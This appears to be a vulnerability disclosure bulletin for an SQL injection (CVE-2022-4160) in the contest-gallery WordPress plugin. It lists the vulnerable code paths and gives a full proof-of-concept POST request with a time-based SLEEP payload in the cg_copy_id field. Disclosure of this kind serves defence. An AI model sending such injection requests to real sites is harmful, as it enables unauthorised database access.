CVE-2022-4160: Security Bulletin

contest-gallery 19.1.4.1 (14/15) WordPress plug-in SQL injection****Vulnerability Metadata

Key

Value

Date of Disclosure

December 05 2022

Affected Software

contest-gallery

Affected Software Type

WordPress plugin

Version

19.1.4.1

Weakness

SQL Injection

CWE ID

CWE-89

CVE ID

CVE-2022-4160

CVSS 3.x Base Score

x

CVSS 2.0 Base Score

x

Reporter

Kunal Sharma, Daniel Krohmer

Reporter Contact

[email protected]

Link to Affected Software

https://wordpress.org/plugins/contest-gallery/

Link to Vulnerability DB

https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-4160

Vulnerability Description

The cg_copy_id MULTIPART POST query parameter in contest-gallery 19.1.4.1 is vulnerable to SQL Injection. An attacker with role of Author or above may abuse the Copy Gallery functionality in cg-copy-comments.php and cg-copy-rating.php. This leads to a threat actor crafting malicious POST request.

Exploitation Guide

Note: In some cases, the line number mentioned in description text above the image can be different from the image shown below it. This change is due to lines of code wrapping, which is done to represent long lines of code in the image. The description text represents the actual line number in the application.

Create a New Gallery, if no gallery was created before.

Change the Gallery name.

Click on Edit gallery.

Select third option and click Copy.

Clicking Copy triggers the vulnerable request.

A POC may look like the following request:

In the application code, the vulnerability is triggered by un-sanitized user input of cg_copy_id at line 3 in ./v10/v10-admin/copy-gallery.php.

Subsequently, function call is made on variable $idToCopy .

At line 39 in ./functions/general/sql/cg-copy-comments.php database query call on $oldGalleryID leads to SQL Injection.

Furthermore, At line 46 in ./functions/general/sql/cg-copy-rating.php another database query call on $oldGalleryID leads to SQL Injection.

Exploit Payload

Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.

The SQL injection can be triggered by sending the request below:

POST /wp-admin/admin-ajax.php?page=contest-gallery/index.php&edit_gallery=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------57928068830176656773670049687
Content-Length: 1508
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668734427%7CUHijoj82qZ3zggyrkh30RBG6N1IDmWR8ZDV3fZNzCre%7C6333e4fa1fc3f8961218830b63c9910e36a1507d9530ee857dda65208e7bd3bf; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668734427%7CUHijoj82qZ3zggyrkh30RBG6N1IDmWR8ZDV3fZNzCre%7Cd34e5c9317c939593831376a9467f195ca7e97151d2f965acdbc84aeb291c5b7; wp-settings-time-5=1668467252; wp-settings-5=libraryContent%3Dbrowse
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="cg_copy_type"

cg_copy_type_all
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="cg_copy"

true
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="cg_copy_id"

1 AND (SELECT 7394 FROM (SELECT(SLEEP(2)))UrUZ)
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="cg_copy_start"

0
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="option_id_next_gallery"

0
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="id_to_copy"

1
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="edit_gallery_hidden_post"


-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="copy_v7"

true
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="page"

contest-gallery/index.php
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="action"

post_contest_gallery_action_ajax
-----------------------------57928068830176656773670049687
Content-Disposition: form-data; name="cgBackendHash"

e12e8782da8ac6c4f1725d81a9811524
-----------------------------57928068830176656773670049687--